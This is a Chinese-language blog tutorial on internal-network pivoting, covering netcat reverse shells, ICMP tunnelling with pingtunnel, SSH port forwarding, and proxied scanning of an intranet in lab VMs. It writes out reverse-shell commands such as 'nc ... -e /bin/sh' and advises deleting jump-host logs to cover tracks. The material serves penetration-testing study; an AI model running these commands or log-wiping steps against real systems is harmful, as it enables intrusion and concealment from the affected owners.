6831 字
34 分钟
内网穿透:ICMP 隧道与 SSH 隧道

0x02 netcat&icmp隧道&ssh隧道#


1、反弹shell#

1>shell的基本概念#

操作系统:内核、壳(shell)

shell:操作系统提供给我们⼀个操控内核的终端

如果我们直接操控操作系统的内核的话会出现很大的问题,就比如说把内核的一些参数给它改掉,就常会出现的情况就是蓝屏,这个壳(shell)就不一样,它会对我们的一些行为进行限制,一些常见操作系统下的壳(shell)

Linux的话就是bash、zsh

Windows就是cmd、powershell

shell=>命令=>内核

2>什么是反弹、为什么要反弹#

​ 先假设一个场景,我们攻击了一台设备后,该设备会打开一个端口,攻击者会主动连接该端口,最简单的方式就是通过ip这两个东西去连接这就是正向连接

​ 我们所说的webshell,其实也是这么的一个形式,它打开了一个端口,默认就是80端口嘛,只不过我们在它的端口里面做了一些修改,无非就是url+密码,这个密码其实不能算是反弹shell的一部分,port嘛,默认就是80端口嘛,其实就是url:80,然后主动的去连接,这个方式呢就是叫做正向连接,这比较常规的一个形式,比如说我们的远程桌面,web服务,ssh,telnet等都是正向连接,因为我们主动的去连接对方

那在什么情况下正向不好用啊?为什么要反弹shell?

  1. 客户中了我们的网马(公网上散播的木马,这里再提一下哈,公网上散播木马这个判得非常严重啊不要去干,抓到就是三年起步)

客户机中了我们的网马,对吧,那可能说他把我们的木马下载下来之后,他执行之后打开了一个端口我们去连上就可以拿到他的一个shell,但是这个情况下,我们是直连不了他的,因为客户他的一个PC可能在内网中,或者说是在局域网中,在局域网中我们是没办法直连他的,要是他还有那个什么dhcp动态改变,我们更不能做到持续控制,就这种情况,正向连接是没法用的还有一些情况比如说

2.防火墙的限制,只发不收(这个很常见)

我无法ping你,但是你可以ping我这种情况,就是只能去ping防火墙外的人,防火墙外的人无法ping防火墙内的,这么一个概念防火墙的限制

还有就是

**3.木马,受害者什么时候中招,对方的网络环境,对方什么时候开关机…**都不清楚,要是对方凌晨两点打开来,我们也不知道,也没办法主动连他

那这个时候呢,就有一个比较优秀的解决方法了,就是反弹shell

反弹shell的概念:被攻击者主动连接服务器

我在公网开一台服务器,服务器做一个持久化的监听,比如说我一直在监听自己的80端口,或者说我一直在监听我的8080端口,这时候受害者一点击我的木马,这个时候就不是我们主动连他了,而是他去连我们,受害者主动连接,这种方法会比正向连接更好用一点,我们不需要去做什么等待,卡时间这种操作,我们只需要把公网服务器开启来,受害者主动回连就可以了,这边还有一些特殊的点,比如说受害者能不能出网这个问题,这个我们到后面会考虑到

所以总结来说反弹shell就是:

公网开⼀台服务器,持久化的监听,受害者主动连接

2、nc(netcat)#

官方的解释就是nc是网络工具中的瑞士军刀

能被称为瑞士军刀的工具不多啊,目前只接触到了BP和现在的nc了

1>nc的功能#

在网络中通过TCP|UDP进行数据读写

它强大在什么地方?就是强大在它的底层,它与其他的一些工具结合可以完成各种奇奇怪怪的操作,比如说创建一个服务器,传输一个文件,跟别人聊天,它的功能非常简单就是两个设备之间建立一个连接,然后建立一个数据流啊,两边可以互相通信

2>用VMware的kali做一个nc演示#

注意:kali的nc是ncat不是netcat,监听的时候命令不能加冒号(:)虽然这两款工具差不多一致,但是还有一些细节上的差异

netcat nc 192.168.23.133:1226 ✔
ncat nc 192.168.23.133:1226 ❌
nc 192.168.23.133 1226 ✔
1)nc的参数命令#
  • -c|-e:执行命令
  • -l:监听
  • -n:以ip的形式指定地址而非域名
  • -p:指定端口
  • -v | -vv :详细信息
hostipport
server192.168.23.130listen:1226
client192.168.23.133
2)搭建一个可以相互通信,传输消息的隧道#

服务端【ip:192.168.23.130】

命令:nc -lvvp 1226 #监听1226端口,同时显示出详细信息

image-20231203231810263

客户端【ip:192.168.23.133】

命令:nc 192.168.23.130 1226 #向服务端192.168.23.130的1226端口主动发起连接

image-20231203232047554

再回到客户端查看情况

image-20231203232117798

可以发现连接成功,尝试相互通信,传输消息试试

image-20231203232233045image-20231203232247490

可以发现两端都能成功的发送并接收消息,第一个小实验完成

3)简易反弹shell实验#

服务端【ip:192.168.23.130】

命令:nc -lvvp 1226 #监听1226端口,同时显示出详细信息

image-20231203231810263

客户端【ip:192.168.23.133】

命令:nc 192.168.23.130 1226 -e /bin/sh

#向服务端192.168.23.130的1226端口主动发起连接并执行/bin/sh也就是打开shell的操作

【注意:并不是所有的Linux都有/bin/bash,但是基本上所有的Linux都有sh】

这时候就不是相互通信了而是服务端接收到了客户端的shell,在服务端输入的是指令,但是客户端没法输入指令让服务端执行,也没法通信,因为这里反弹shell是把客户端的shell反弹到了服务端上

image-20231204101048250

再回到客户端查看情况

image-20231203232117798

可以发现连接成功,尝试在服务端输入指令

image-20231204101154105

成功执行命令,反弹shell成功,这就是一个比较简易的反弹shell

【注意:较新版本的ubuntu和centos删除了nc的-e参数】

image-20231204173846694

2、先导:隧道技术#

1>进入内网,能找到什么?#

从当前设备出发,目标放到整个内网,能看到什么呢?

设备、主机、服务

【看到路由交换、同一个网段下的一些其他的主机\服务器、这些主机和路由器上都运行着各个的服务,这就是我们在内网中能看到的东西】

在排除在内网中继续去打其他设备的web的情况下此时能打的还剩下什么?

操作系统、设备固件、服务

操作系统和服务的洞一般都挖不到,设备固件是有可能能打,不过一般来说也不会去挖

所以内网中的攻防一般来说只有

0day、1day、nday

内网中有非常多的工具可以使用,就扫嘛,扫完我nday丢上去打

然后呢这时候会出现一种情况,你拿到的shell,是对方机器,对方机器是没有工具的,这时候就有两种方法

1)把工具上传到对方电脑里

2)通过隧道技术,将我们的设备接入到对方的内网中,就像VPN那样

隧道技术=>将我们的设备接入到对方的内网中

进入内网后,如果要进行隧道的搭建,此时要进行的一件事情就是判断流量的连通性

2>什么是隧道呢?#

将数据包用防火墙允许的端口或者协议来进行封装,封装后来达到一个穿透防火墙的目的

3>隧道的种类#

多数用于通信的协议都可以作为隧道的载体

  • 应用层隧道、https、dns、ssh
  • 传输层隧道、udp
  • 网络层隧道、ipv6、GRE

【GRE:通用路由封装(将一种数据包装载到另外一种类型数据包的一种方式)】

4>判断网络连通性#

如何探测这些协议能出网?

  • http协议:wget(linux)、curl(linux)、Invoke-WebRequest(windows)
  • icmp协议:ping(linux、windows)
  • dns协议:dig(linux),nslookup(windows)

用的比较多的隧道隧道、http隧道、tcp隧道(tcp、udp用nc去探测就行了,一般只要正常能出网都能用)

在防火墙没开放任何端口的情况下,我们该如何去搭建隧道?先看一下常见隧道载体的通信协议端口

  • http:80
  • https:443
  • dns:53
  • ssh:22
  • icmp:?

可以发现icmp是没有端口号的,所以此时我们就要介绍一下icmp隧道

ping的时候我们朝对方发送数据,对方也会向我们发送数据,就产生了一个数据的交互,于是icmp协议就可以成为一个隧道的载体进行数据的传输

3、icmp隧道#

原理:通过请求和回包

这种因为不需要指定服务的端口的所以他是无法被基于代理的防火墙所检测到的,所以他能直接绕过一些防火墙的检测

1>icmp隧道的工具#

icmptunnel、pingtunnel

2>pingtunnel的介绍和使用#

下载地址:https://github.com/esrrhs/pingtunnel/releases

下载说明:

image-20231204192321659

我们准备两台kali

一台kali当服务端,另一条kali当客户端

在服务端kali的桌面上创建server文件夹,在客户端kali的桌面上创建client文件夹

这里我们以服务端kali的安装为例

cd到Desktop/server

在kali的root模式下输入命令

【pingtunnel需要在高权限的情况下执行比如说root】

wget https://github.com/esrrhs/pingtunnel/releases/download/2.8/pingtunnel_linux_amd64.zip
unzip pingtunnel_linux_amd64.zip

然后server文件夹里面就会出现pingtunnel

另一台客户端的kali也是一样的操作,cd到Desktop/client

image-20231204194859169

1)通用参数#

  • -type server | client:指定当前是 server 还是 client
  • -key:输入密钥
  • -nolog:不写日志,默认为0【也就是默认关闭】1是开启

ping承载的数据小,当我们在内网访问的时候只能通过量大来解决,一旦量一大,这个日志量就会大很多,所以我们启动不写日记是为了防止命令行被日志占用的情况

2)client参数#

  • -l:指定本地端口
  • -s:转发到的服务器地址
  • -t:目的地址 ip
  • -tcp:是否转发tcp,默认0关闭,1是开启

3)icmp隧道和nc结合的简易搭建实验#

hostipport
server192.168.23.130listen:888
client192.168.23.133

服务端【ip:192.168.23.130】

命令:

nohup xxx & 输出重定向到nohup.out,这里是命令放到后台执行,把日志信息重定向到nohup.out文件进行输出(会自动生成nohup.out文件),注意,在把命令放到后台执行之前一定要测试命令能不能正常使用

nohup ./pingtunnel -type server -nolog 1 &
#指定当前shell为服务端,并启动不写日记,也就是不会生成日志文件,同时将日志信息重定向到nohup.out文件进行输出,也就是会多出来一个nohup.out进行输出
nc -lp 888 #监听888端口
jobs #查看后台命令
josbs -l #查看后台命令进程号PID
kill -9 PID【进程号】 #关闭后台执行命令
rm nohup.out #清理日志文件
image-20231204211235872image-20231204211247711

客户端【ip:192.168.23.133】

命令:

nohup ./pingtunnel -type client -l :777 -s 192.168.23.130 -t 192.168.23.130:888 -tcp 1 &
#指定当前shell为客户端,并启动不写日志,也就是不会生成日志文件,这里服务器地址和目的地址是同一个,一个是指定服务器地址的,一个是指定目的地址的,要写两遍服务端的地址,将本地的777端口的流量发送到服务端的888端口【前置条件就是能相互ping通】因为我们等一下要需要通过nc进行相互连接,nc是强连接,是TCP协议,所以这里还得跟上-tcp 1这个参数,开启tcp转发
nc 127.0.0.1 777 -e /bin/sh
#向本地的777端口发起连接并执行/bin/sh,也就是打开shell的操作
rm nohup.out #清理日志文件
image-20231204211306611image-20231204211313656

之前用文字描述有可能会很乱,我们画一个图理清一下思路

image-20231204205819518

解释一下就是客户端将本地的777端口的流量发送到服务端的888端口,nc监听了本地的888端口,原本客户端要反弹shell应该执行的命令是 nc 192.168.23.130 888 -e /bin/sh,也就是向服务端192.168.23.130的888端口主动发起连接并执行/bin/sh也就是打开shell的操作,但是此时客户端本地的777端口就是相当于服务端的888端口,替换一下就是nc 127.0.0.1 777 -e /bin/sh,因此就能做到通过nc和pingtunnel的结合做到反弹本地shell的操作

注意点:

1.nohup结尾的&不能忘记
2.双方能ping通
3.-s参数和-t参数仔细核对
4.一般情况下都要开启tcp转发

3>具体实战使用#

https://www.freebuf.com/articles/network/380198.html

image-20231204220109715

https://blog.csdn.net/qq_45300786/article/details/110943803

image-20231204220408199

通过pingtunnel将内网主机的3389端口映射出来到vps,再用攻击机连接实现远程操控

4、ssh隧道#

ssh不依赖于第三方工具,而是用ssh本身就能搭建的隧道

ssh是一个加密通讯的网络协议,通常用在两台机器之间做一个远程登录

ssh端口还有一个协议scp,scp就是传输文件,依赖于ssh的文件传输

在防火墙屏蔽了某些端口的情况下,比如3389的数据,这时候我们就可以通过一些端口转发技术,将我们的3389端口转发到其他的一些防火墙允许的端口上

使用ssh的前提条件:用户密码/key

一般我们渗透进去内网是拿不到他的一个密码的,shadow文件不好破,一般我们都是通过user add直接添加用户进去,最简单粗暴的方法

1>参数#

  • -C:压缩传输
  • -f:转入后台
  • -N:静默连接
  • -g:允许远程连接本地,端口转发
  • -L:本地端口转发
  • -R:远程端口转发
  • -D:动态端口转发
ssh -CfNg -L 本地端口:目标ip:目标端口 ssh账号@ip -p 指定连接端口
#这一切都是建立在
ssh ssh账号@ip -p 指定连接端口
#譬如ssh root@43.139.221.182 -p 222
#能够正常的登录对方的前提下再去给它加参数,例如第一条命令
hostipport映射端口
出口43.139.221.182222
内网设备172.17.0.1022/80/330622(内网)=>222(出口)
80(内网)=>8080(内网)
23
黑客跳板机47.96.190.113

首先存在一台公网服务器43.139.221.182

然后在公网服务器里面创建了一台虚拟服务器

然后这其实就是一个企业网:出口(公网服务器)

然后出口的话他会有一个内网

内网通过出口往外去映射端口

然后我们就可以在公网上通过这个端口去访问内网的设备

企业网:出口
内网=>出口=>端口
image-20231204232953642

2>搭建ssh隧道连接简易实验#

由于公网服务器的ssh已经搭建好了我们此时要做的就是直接连接试试

扩展,公网服务器ssh搭建

vim /etc/ssh/sshd_config #编辑ssh的配置文件
在配置文件里面添加 PermitRootLogin yes #允许root用户登录
passwd root #重置root用户的密码
输入:<lab-password>
ssh-keygen -A #创建ssh密钥
ssh-keygen
/etc/init.d/ssh start #开启ssh服务
ssh 内网设备
host:43.139.221.182
post:222
pwd:<lab-password>

命令:

ssh root@43.139.221.182 -p 222

image-20231205185156204

可以看见通过ssh已经连接到了他的一个内网设备拿到了shell了

1)本地端口转发#

【以下文中出现的”攻击机”一般都指代图示中的”黑客跳板机vps”,为了避免和内网跳板机混淆而写出了”攻击机”指代,请注意识别!】

web拿到一个ip然后去给它扫端口

扫端口就会发现有很多个web服务,但是没有看见像什么samba服务很基础的,Linux或web自带的服务,这是因为它有可能是一个出网的云服务器或者说出网的地址,然后它通过端口映射的方式把它内网的很多个web服务全部映射出来了,这就是所谓的一个企业网

web=>ip扫端口
web服务

注:不知道什么是samba服务请查看链接

samba实现共享文件(能在Windows和Linux上访问) - 知乎 (zhihu.com)

image-20231205201709664

如果内网主机有启动web服务的话(也就是开启80端口)

cur 127.0.0.1 #查看本地运行web服务

现在要访问内网主机的web服务要怎么访问?就是访问它的80端口嘛

很明显我们不能直接进行一个访问,因为有防火墙拦截着,我们就需要用本地端口转发的方式来访问内网设备的80端口,简单来说就是先通过ssh建立连接,然后再把内网设备的端口映射出来到攻击机的本地端口上,通过攻击机的本地端口进行访问内网的web服务端口

命令:

ssh -CfNg -L 本地端口:目标ip:目标端口 ssh账号@ip -p 指定连接端口

连接图示:

image-20231205200341534
ssh -CfNg -L 8080:172.17.0.10:80 root@43.139.221.182 -p 222
#先通过ssh进行连接,连接到内网设备22端口映射到公网ip的222端口,访问公网设备的222端口就是相当于访问内网设备(转入后台,静默连接),然后将内网设备的172.17.0.10的80端口映射到黑客跳板机vps本地的8080端口,所以黑客跳板机vps去访问本地的8080端口就是相当于访问内网设备的80端口
lsof -i :8080 #查询8080端口的占用,里面有ssh服务
#因为是转入后台、静默链接,这里jobs不好使,得要查询端口占用

如果让我们做一个本地端口转发,转发什么端口出来比较好呢?

3389 #远程桌面连接端口
3306 #数据库端口

2)远程端口转发#

远程端口转发与本地转发转发的差别

此时拿到了内网设备的shell,但是又无法从外部连接到内网,内网却可以连接到外网,远程端口转发是在内网设备shell上执行,把本地(内网设备)端口转发\映射到了目标ip的目标端口(攻击机)上,原先的本地转发转发是在攻击机shell上执行,把目标ip的目标端口(内网设备)转发\映射到了本地\攻击机端口上,要看清楚主体

远程端口转发的主体是跳板机

【为什么说主体啊?因为本地端口转发ssh进程在电脑(攻击机)本地(用lsof -i 查看)远程端口转发ssh进程在远程设备上也就是内网设备,此时内网设备(跳板机)是主体】

应用范围:

攻击机无法访问内网设备(跳板机)的情况下,我们就运用远程端口转发

【无法访问是指网络不通的情况下,不是设备坏了,就譬如攻击机在外网打了一台内网设备(内网中有一台可以访问外网的客户机中了网页挂马获取shell)之后,我通过这个内网设备(跳板机)作为一个跳板拿到了内网中的另外一台设备,那这个时候我们攻击机是无法直接访问这台设备的,但是这台设备可以出网并且跳板机是可以访问这台设备的,符合防火墙只出不进的原则】

命令:

ssh -CfNg -R 本地端口:目标ip:目标端口 ssh账号@ip -p 指定连接端口
ssh -CfNg -R 3389:47.96.190.113:3390 root@43.139.221.182 -p 222
image-20231205210704348

就譬如把内网设备的3389端口主动的转发到我们本地(攻击机),那我们就可以通过映射到攻击机的3390端口,再反过来去回连内网设备

【之前提到了网页挂马,也就是通过散播网马的形式拿到内网的shell,但是这个在实战中其实挺难实现的,最常见的情况其实是我们通过渗透的方式拿到了内网设备(跳板机),然后再通过这个内网设备(跳板机)再去拿到其他内网设备的shell,就譬如此时又拿到了另外一台内网设备的shell,然后再去用这台内网设备的shell进行一个远程端口转发,它没有做任何端口映射,我们访问不到这台内网设备,我们只能通过之前那个内网设备(跳板机)来访问到它,如果我们想直接访问这台内网设备,要么走跳板机,要么把这台内网设备的端口映射到黑客跳板机(vps)上,这样的方法是实战中更容易出现的】

问:如果不用内网跳板机以什么方式进入内网合适?

首先它是一个内网设备,外网是无法访问到它的
要是访问都访问不到它要拿到它的一个shell的话
就只有这两种方法了:
1、木马散播(让内网设备主动反弹shell)
2、物理渗透

3)动态端口转发#

(动态端口转发用的也是最多的,日志也比较好删,只需要把内网跳板机的日志全部删掉即可,内网其他设备的日志不用管,因为其他设备的日志全部都是来源于内网跳板机的,所以只需要删除内网跳板机的日志,还有一种方式是把内网跳板机删掉,但是一般情况下在做一个攻防的时候是不会去删一个机器的是不被允许的)

命令:

ssh -CfNg -D 1226 ssh账号@ip

在黑客跳板机vps上输入命令

ssh -CfNg -D 1226 root@43.139.221.182 -p 222
#从黑客跳板机vps开启了1226端口,此时在客户端主机进行了一个socks5代理以后,这时候浏览器的所有流量都通过这个端口走,只要流量往1226端口走,黑客跳板机vps都会帮我们转发到内网跳板机这个设备上,然后再通过这台内网跳板机设备,去访问内网其他设备的地址,实现一个将客户端的主机"并入"内网的操作
image-20231205214846472

然后客户端在火狐上进行一个socks5代理

image-20231205213235278

又或者

image-20231205214057738

可以看见直接访问内网地址

image-20231205214000807

那此时我们的客户端主机相当于”并入”了内网,是不是可以对内网其他存活的主机的一个80端口进行一个探测(Web探测)?

有什么方法可以批量探测内网的设备或web服务?==>BP

这时候又涉及到的一个点是BP的代理怎么走?

只要你是想用BP这款软件,那浏览器的代理一般首先都是先代理到BP上,那BP就需要再配置一个代理,代理到内网上

image-20231205215709584

记得把上游代理服务器全部取消掉,只保留socks代理

image-20231205215954667

可以看见资源都加载出来了,我们就可以知道浏览器先走了BP,BP再走了代理

要去探测其他主机IP的话就发给Intruder模块

image-20231205230356590

标记出两个注入点,然后Attack type选择攻城锤

image-20231205230501280

Payload的参数如图所示

开始攻击!

image-20231205230610069

选择攻城锤的话注入会发现Target和Host是一起变化的

然后有回显的,长度跟别人不一样的,就代表这个IP有内容,证明是内网存活的主机

这样就相当于对内网做了一个快速的Web探测

为什么说是Web探测呢?因为直接访问IP是默认访问80端口web服务的

如果要探测不同IP的不同端口号就需要用到其他的一些爆破方式了

隧道的目的是什么?

将我们代理进内网

4)proxychains4#

内网存在非常多的工具,这个时候我们想用工具去扫内网要怎么做?需要设置什么代理?

比如说工具是命令行嘛,就需要设置一个命令行代理,命令行代理跟主机代理不是同一个,单纯开一个Clash是没有用的,命令行代理是需要额外设置的
要配置命令行代理就需要输入一堆指令,所以我们可以对指令做一个封装
先下载proxychains4,在kali上直接apt install proxychains4
然后进入配置文件
vim /etc/proxychains.conf
#前面全是它的一个文档,后面给出了一个例子
image-20231205232707909
贴上Linux通用配置
export https_proxy=http://127.0.0.1:7890 http_proxy=http://127.0.0.1:7890 all_proxy=socks5://127.0.0.1:7890
成功封装命令
linux-设置代理和取消代理
设置代理:
export http_proxy="http://proxy-XXXXX"
export https_proxy="https://proxy-XXXXX:"
export https_proxy=http://127.0.0.1:7890 http_proxy=http://127.0.0.1:7890 all_proxy=socks5://127.0.0.1:7890
取消代理:
unset http_proxy
unset https_proxy

如果此时我们用fscan去扫描172.17.0.10的端口是扫不到的因为我们没有挂上代理

fscan64.exe -h 172.17.0.10 -np
image-20231205232854382

那此时我们加上这块工具试试

proxychains fscan64.exe -h 172.17.0.10 -np
#-np :no ping ,因为用Clash的socks代理是走不通ping这条命令的,但是其他的像TCP这种正常的连接他是可以连上的

因为刚才BP走了1226端口的代理进行一个扫描,之前搭建的动态端口隧道有可能会断掉,fscan扫描不成功,需要重新搭建一下,也就是再输一下命令

再重新搭建成功后,可以看见挂上了代理的fscan成功扫描到了内网IP的端口

image-20231205233612539

proxychains4这个工具非常的方便啊

proxychains4这个命令后面的命令全部走代理

还有就是可以使用fscan本身就有的参数代理,直接加上即可

image-20231207003321994

nmap的话需要加上-sT参数

88

5)本次ssh隧道搭建的知识脉络图#

99
内网穿透:ICMP 隧道与 SSH 隧道
https://wangyi187.top/posts/icmp-ssh-tunnel/
作者
WangYi
发布于
2024-06-19
许可协议
CC BY-NC-SA 4.0